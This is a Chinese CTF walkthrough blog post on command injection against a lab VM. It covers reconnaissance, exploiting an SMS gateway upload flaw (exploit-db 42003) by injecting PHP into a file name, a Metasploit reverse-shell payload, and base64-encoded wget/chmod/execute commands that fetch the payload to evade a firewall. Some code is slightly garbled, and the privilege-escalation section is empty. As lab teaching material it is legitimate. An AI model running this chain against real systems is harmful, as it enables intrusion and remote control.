CTF-命令注入【超详细】

目录

实验环境

信息探测

nmap -sV 192.168.20.141

nmap -A -v -T4 192.168.20.141

nikto -host http://192.168.20.141

dirb http://192.168.20.141

深入挖掘

访问敏感页面

依次访问robots.txt下的禁止页面

访问/secure目录

解压文件复制到桌面

查看文件具体类型

读取文件

利用网址

登陆

登录-利用exploit-db

利用searchsploit进行渗透

查找路径

查看路径

访问提示页面

上传CSV文件

利用BP解析数据包

根据提示执行代码

准备shell

启动metasploit监听

生成shell

绕过防火墙 上传shell

利用base64绕过防火墙检测

提权


实验环境

kali 192.168.20.128

靶机 192.168.20.141

信息探测

nmap -sV 192.168.20.141

nmap -A -v -T4 192.168.20.141

nikto -host http://192.168.20.141

dirb http://192.168.20.141

深入挖掘

访问敏感页面

依次访问robots.txt下的禁止页面

在/nothing特殊的404

查看源码

访问/secure目录

下载backup.zip

解压文件复制到桌面

发现需要密码,利用之前/nothing网页源代码下的密码尝试

输入freedom

查看文件具体类型

file backup-cred.mp3

读取文件

cat backup-cred.mp3

利用网址

访问192.168.20.141/SecreTSMSgatwayLogin

登陆

账号是touhid

密码是/nothing页面源代码下的密码(依次尝试)尝试到diana成功登录

登录-利用exploit-db

利用searchsploit进行渗透

查找路径

查看路径

cat /usr/share/exploitdb/exploits/php/webapps/42003.txt

翻译描述

不受限制的文件上传:

由于sendfromfile.php中的文件验证不正确,任何注册用户都可以上传任何文件

代码执行使用$filename

现在我们知道sendfromfile.php接受任何文件扩展名,只读取不存储在服务器中的内容。但是当用户上传my后门.php服务器愉快地接受,但不存储在任何文件夹,所以我们的shell是无用的。但是如果用户将文件名改为“my后门.php”改为“php系统(uname - a);?>.php" den服务器检查文件并设置一些参数$filename="php系统(uname - a);?>.php",你可以看到下面的代码,并在页面上显示$filename

访问提示页面

上传CSV文件

创建1.csv文件

 

利用BP解析数据包

根据提示执行代码

将1.csv改成<?php system('uname -a'); dia();?>.php

每次查看都要重新抓包

查看id

filename存在代码执行和代码注入

准备shell

启动metasploit监听

use exploit/multi/handler

set payload linux/x86/meterpreter/reverse_tcp

set lhost 192.168.20.128

set lport 4444

run

生成shell

msfvenom -p linux/x86/meterpreter_reverse_tcp lhost=192.168.20.128 lport=4444 -f elf > /var/www/html/shell

绕过防火墙 上传shell

利用base64绕过防火墙检测

service apache2 start

echo 'wget http://192.168.20.128/shell -O /tmp/a' |base64

echo 'chmod 777 /tmp/a' |base64

echo '/tmp/a' |base64

<?php system(base64_encode('放置base64代码')); dia();?>.php

提权

猜你喜欢

转载自blog.csdn.net/m0_63127854/article/details/126713454